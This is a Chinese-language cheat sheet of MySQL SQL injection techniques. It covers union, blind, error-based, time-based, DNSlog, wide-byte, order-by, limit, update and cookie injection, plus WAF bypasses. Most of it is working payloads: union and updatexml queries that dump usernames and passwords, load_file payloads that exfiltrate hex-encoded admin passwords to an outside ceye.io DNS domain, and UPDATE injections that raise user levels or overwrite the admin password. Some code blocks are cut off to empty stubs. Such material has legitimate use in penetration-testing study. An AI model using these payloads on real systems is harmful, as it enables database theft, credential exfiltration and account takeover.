SQL注入利用
注入类型
注入分类
布尔型盲注:根据返回页面判断条件真假
时间型盲注:用页面返回时间是否增加判断是否存在注入
基于错误的注入:页面会返回错误信息
联合查询注入:可以使用union的情况下
堆查询注入:可以同时执行多条语句
注入技巧
宽字节注入:
DNSlog盲注
二阶注入
中转注入
Base64变形注入
Order-By注入
limit 注入
cookie注入
过滤逗号的注入
过滤”>”尖括号的注入
未知列名的注入
联合查询注入:union
在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
1 | ?id=1' and 1=1# 页面返回正常 |
- 利用order by猜测字段
1 | ?id=1%27%20order%0aby%0c2%23 --返回正常 |
- 利用union联合查询
1 | ?id=-1%27 union select 1,2,3,4# |
- 获取数据库信息
1 | id=-1%27 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version())# |
- 查询数据库的表
1 | id=-1%27 union select 1,2,3,table_name from information_schema.tables where table_schema='sqli' limit 0,1# |
- 查询数据库字段
1 | id=-1%27 union select 1,2,3,column_name from information_schema.columns where table_schema=%27数据库名%27 and table_name=%27表名%27limit 0,1# |
- 脱裤,获取数据
1 | union select 1,2,3,group_concat(name,password)%20from%20sc# |
布尔型盲注:Boolean
布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。
- 在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
1 | ?id=1' and 1=1# 页面返回正常 |
- 判断数据库名的长度
1 | 1'and length(database())>=1--+ 页面返回正常 |
猜解数据库名
使用逐字符判断的方式获取数据库名;
数据库名的范围一般在a
z、09之内,可能还会有特殊字符 “_”、”-“ 等,这里的字母不区分大小写。
1 | ' and substr(database(),1,1)='a'--+ |
- 用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。
还可以用ASCII码查询
1 | a的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为: |
- 判断数据库表名
1 | ' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+ |
- 判断数据库字段名
1 | ' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+ |
- 取数据
1 | ' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'--+ |
当然如果嫌用Burp慢的话,可以自己编写脚本,修改payload就行了
一般盲注的话都是自己写脚本比较快。
报错注入
在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。
- 常用的MySQL报错函数
1 | --xpath语法错误 |
尝试用单引号报错
获取数据库名
1 | ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ |
- 获取表名
1 | ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+ |
- 获取字段名
1 | ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+ |
- 取数据
1 | ' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+ |
- 其它函数payload语法:
1 | --extractvalue |
时间型盲注
盲注是在SQL注入攻击过程中,服务器关闭了错误回显,单纯通过服务器返回内容的变化来判断是否存在SQL注入的方式 。
可以用benchmark,sleep等造成延时效果的函数。
如果benkchmark和sleep关键字被过滤了,可以让两个非常大的数据表做笛卡尔积
(opens new window)
产生大量的计算从而产生时间延迟;
或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。
- 利用sleep判断数据库名长度
1 | ' and sleep(5) and 1=1--+ 页面返回不正常,延时5秒 |
- 获取数据库名
1 | and if(substr(database(),1,1)='a',sleep(5),1)--+ |
具体数据以此类推即可。
时间型盲注的加速方式
Windows平台上的Mysql可以用DNSlog加速注入
利用二分查找法
sqlmap盲注默认采用的是二分查找法
利用 ASCII 码作为条件来查询,ASCII 码中字母范围在65
122之间122这块查找。反之亦然
以这个范围的中间数为条件,判断payload中传入的 ASCII 码是否大于这个中间数
如果大于,就往中间数
DNSlog盲注详解
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息;
DNSlog就是记录用户访问网站域名时,记录DNS和对应的IP的转换访问日志;
MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据;
通过SQL执行后,将内容输出到DNSlog中记录起来,然后我们可以在DNSlog平台查询回显数据
1 | union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) FROM user WHERE name='admin' LIMIT 1),'.mysql.wintrysec.ceye.io\abc')) |
注意:load_file()只能在windows平台上才能发起请求,linux下做dnslog攻击是不行的
因为UNC通用命名规范, \server\share_name
上边 CONCAT 应该写四个反斜杠 \,因为最后会被转义成两个
因为Linux没有遵守UNC,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的
MySQL数据库配置中要设置secure_file_priv为空,才能完整的去请求DNS
secure-file-priv参数是用来限制 LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的
ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
- 在时间型盲注中用DNSlog加速注入
1 | 'and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(database())),'.xxx.ceye.io\\abc'))),sleep(5),1)%23 |
宽字节注入(过滤了单引号)
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
使用PHP函数iconv(‘utf-8’,’gbk’,$_GET[‘id’]),也可能导致注入产生
修复建议:
1 | (1)使用mysqli_set_charset(GBK)指定字符集 |
二阶注入
当数据首次插入到数据库中时,许多应用程序能够安全处理这些数据;addslashes() 等字符转义函数。
一旦数据存储在数据库中,随后应用程序本身或其它后端进程可能会以危险的方式处理这些数据。
许多这类应用并不像面向因特网的主要应用程序一样安全,却拥有较高权限的数据库账户。
第一次HTTP请求是精心构造的,为第二次HTTP请求触发漏洞做准备。
中转注入
当网站做了token保护或js前端加密的情况下;
对于这些站点当手工发现了注入点,但并不适用于用sqlmap等工具跑,可以做中转注入;
本地起个Server,然后用sqlmap扫这个server,Server接收到payload后加到表单中提交。
- Python+selenium做中转注入
1 | from flask import Flask |
- 用PHP做中转注入
1 |
|
- sqlmap不能忽略证书,跑不了https的网站
1 |
|
Base64变形注入
1 | http://xxx.com/?id=MQ== 只加密参数 |
- 只加密参数,用sqlmap的脚本就行
1 | sqlmap -u http://xxx.com/?id=MQ== --tamper base64encode.py --dbs |
- 参数名也加密了,用中转注入
1 | //trans_sqli.php |
1 | sqlmap-u "http://127.0.0.1/trans_sqli.php?id=12" -v3 --dbs |
过滤逗号的注入
- 盲注的时候
1 | LIMIT M OFFSET N |
- union联合查询注入时
1 | union select 1,2,3 |
过滤”>”尖括号的注入
在sqlmap中使用between and 代替其它字符加上 –tamper=between 即可
- 判断条件真假
1 | 2 > 1 #真 |
between and还支持16进制,所以可以用16进制,来绕过单引号的过滤
1 | select database() between 0x61 and 0x7a; |
#未知列名注入
mysql版本 大于5.0 或在利用SQL注入的时候遇到了WAF;
安全狗3.5版本会直接拦截关键字information_shema;
从而无法获取数据表的列名,这时可以利用虚表获取数据。
1 | -1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1); |
Order-By注入
order by 注入是SQL注入中很常见的,被过滤的概率小;
可被用户控制的数据在order by 子句后边,即order参数可控。
利用报错
- 利用regexp
1 | http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常 |
- 利用updatexml
1 | http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1) 正确 |
- 利用extractvalue
1 | http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确 |
利用时间盲注
1 | /?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间 |
数据猜解
以猜解user()即root@localhost为例子,由于只能一位一位猜解;
可以利用SUBSTR,SUBSTRING,MID,以及left和right可以精准分割出每一位子串;
然后就是比较操作了可以利用=,like,regexp等;
这里要注意like是不区分大小写;
通过以下可以得知user()第一位为r,ascii码的16进制为0x72
1 | http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确 |
- 猜解当前数据的表名
1 | /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确 |
- 猜解指定表名中的列名
1 | /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常 |
然后结合Burp去猜解即可~ 参考:Mysql Order By注入总结
知道了原理,使用Burp猜解即可
limit 注入
limit用法
1 | 格式: |
- 适用于5.0.0<mysql<5.6.6的版本
1 | SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点) |
确认有注入点前面有 order by 关键字,没法用union
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的;
报错注入
1 | ?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1); |
时间型盲注
直接使用sleep不行,需要用BENCHMARK代替
1 | ?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) |
利用update
SQL里面只有update怎么利用?
这种方式会修改数据,很危险,在授权测试允许的情况下才考虑
一般在用户修改密码的地方
1 | # 先理解这句 SQL |
如果此 SQL 被修改成以下形式,就实现了注入
- 修改 homepage 值为
http://baidu.com', userlevel='3之后 SQL 语句变为:
1 | UPDATE user SET password='mypass', homepage='http://baidu.com', userlevel='3' WHERE id='$id' |
- 修改 password 值为
mypass)' WHERE username='admin'#之后 SQL 语句变为:
1 | UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' |
- 修改 id 值为
' OR username='admin'之后 SQL 语句变为:
1 | UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' |
Cookie注入
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件,条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取
注入场景
程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取。
配合抓包工具(burp)使用
